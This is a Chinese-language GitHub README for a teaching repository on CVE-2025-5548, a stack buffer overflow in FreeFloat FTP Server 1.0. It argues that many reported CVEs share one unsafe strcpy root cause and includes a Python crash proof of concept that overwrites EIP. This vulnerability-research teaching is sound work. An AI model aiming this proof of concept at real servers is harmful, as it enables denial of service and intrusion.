TheMalwareGuardian/CVE-2025-5548
GitHub: TheMalwareGuardian/CVE-2025-5548
一个用于教学的缓冲区溢出漏洞示例,展示如何通过逆向工程在遗留软件中发现真实CVE,并揭示多个CVE可能共享相同根本原因的原理。
Stars: 0 | Forks: 0
# ***🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 缓冲区溢出***
一个经典缓冲区溢出的示例,用于教授如何通过二进制逆向发现真实漏洞。
## ***📑 目录*** ## ***🎓 本仓库为何存在*** 本仓库是我教授漏洞研究时所用教材的一部分,特别用于解释逆向工程是初学者的一条有效路径。 它与我题为 **“[通往首个 CVE 之路](https://github.com/TheMalwareGuardian/The-Path-That-Leads-to-Your-First-CVE)”** 的演讲有关。在那次演讲中,我解释了开始漏洞研究有多种方式,而对于初学者来说,分析旧软件并理解其内部运作是最现实的路径之一。 在准备我自己的示例来演示这一想法之前,我使用此 CVE 作为参考,向学生展示在经过二进制分析或逆向工程的基础培训后,是有可能在遗留应用程序中发现真实漏洞的。 目标很简单: - 证明旧程序是良好的目标。 - 证明初学者可以分析真实软件。 - 证明崩溃可以导向真实漏洞。 - 证明逆向工程可以从一开始就被使用。 后来,我按照同样的思路创建了自己的示例: 🔗 **[CVE-2025-70330 - 研究](https://github.com/TheMalwareGuardian/CVE-2025-70330)** 该示例用于逐步演示初学者如何逆向一个旧的桌面应用程序,发现漏洞,编写文档并获得 CVE。 ## **💡 为何此漏洞值得关注** 此漏洞影响 FreeFloat FTP Server 1.0,这是一个非常古老的 Windows FTP 服务器,编写时未采用现代安全实践。[2025 年,一位研究人员报告了影响该二进制文件的许多 CVE](https://www.cvedetails.com/vulnerability-list/vendor_id-13432/product_id-27960/Freefloat-Freefloat-Ftp-Server.html)。 示例包括: - [CVE-2025-5667](https://nvd.nist.gov/vuln/detail/CVE-2025-5667) - [CVE-2025-5548](https://nvd.nist.gov/vuln/detail/CVE-2025-5548) - [CVE-2025-5220](https://nvd.nist.gov/vuln/detail/CVE-2025-5220) - [CVE-2025-5075](https://nvd.nist.gov/vuln/detail/CVE-2025-5075) - 以及许多其他 每个 CVE 指向不同的 FTP 命令,但在对该程序进行逆向后,很明显它们中的许多都通向相同的易受攻击代码路径。 这使得该案例不仅是一个缓冲区溢出的示例,还证明了: - 不同的输入可能会触发相同的缺陷。 - 遗留软件可能包含多个不安全的处理程序。 - CVE 条目并不总是代表完全不同的漏洞。 ## ***🔍 同一缺陷,多个 CVE*** 在对二进制文件进行逆向时,可以观察到所有 FTP 命令都由同一个调度函数处理。命令字符串存储在会话结构内部,多个命令处理程序使用不安全的函数(如 strcpy、strcat 和 memcpy)将用户输入复制到固定大小的缓冲区中,而不检查接收数据的长度。 因此,即使 CVE 描述仅提及一个特定命令,不同的命令也可能覆盖栈。 例如,可以使用以下方式触发崩溃: ``` NOOP AAAAA... USER AAAAA... PASS AAAAA... HOST AAAAA... ANYTHING AAAAA... ``` 唯一的区别是覆盖返回地址所需的字节数。这意味着针对该软件报告的许多 CVE 共享相同的根本原因。 ## ***⚠️ 关于该漏洞*** FreeFloat FTP Server 处理通过 TCP 端口 21 接收的命令,并将命令字符串存储在内部会话结构中。随后,命令处理程序将用户控制的数据复制到本地栈缓冲区,而未执行适当的长度验证。 在对二进制文件进行逆向时,可以观察到多个命令处理程序使用固定大小的缓冲区和不安全的复制操作。易受攻击逻辑的简化版本如下所示: ``` char buffer[256]; strcpy(buffer, user_input); ``` 由于目标缓冲区大小固定且未检查输入长度,发送长字符串会导致复制操作写入超出缓冲区末尾的位置。 随着更多数据的写入,栈布局被破坏,直到保存的返回地址被覆盖。 当函数返回时,执行跳转到用户控制的值,从而导致崩溃。在调试器下,这可以被视为指令指针被攻击者控制的数据覆盖。 ## ***💥 触发崩溃*** 可以通过在有效的 FTP 命令后发送长字符串来重现崩溃。使用 Python 的示例: ``` import socket ip = "127.0.0.1" port = 21 payload = b"A" * 500 s = socket.socket() s.connect((ip, port)) s.recv(1024) s.send(b"USER anonymous\r\n") s.recv(1024) s.send(b"PASS anonymous\r\n") s.recv(1024) s.send(b"NOOP " + payload + b"\r\n") s.close() ``` 在调试器下执行时,崩溃显示: ``` EIP = 41414141 ``` 这证实了用户控制的数据覆盖了返回地址。标签:Binary Reversing, CISA项目, CVE-2025-5548, Exploit开发, FreeFloat FTP Server, FTP服务器, 二进制分析, 云安全运维, 云资产清单, 内存破坏, 安全教学, 安全漏洞, 情报收集, 教育示例, 栈溢出, 漏洞根因分析, 漏洞研究, 缓冲区溢出, 逆向工具, 逆向工程, 遗留软件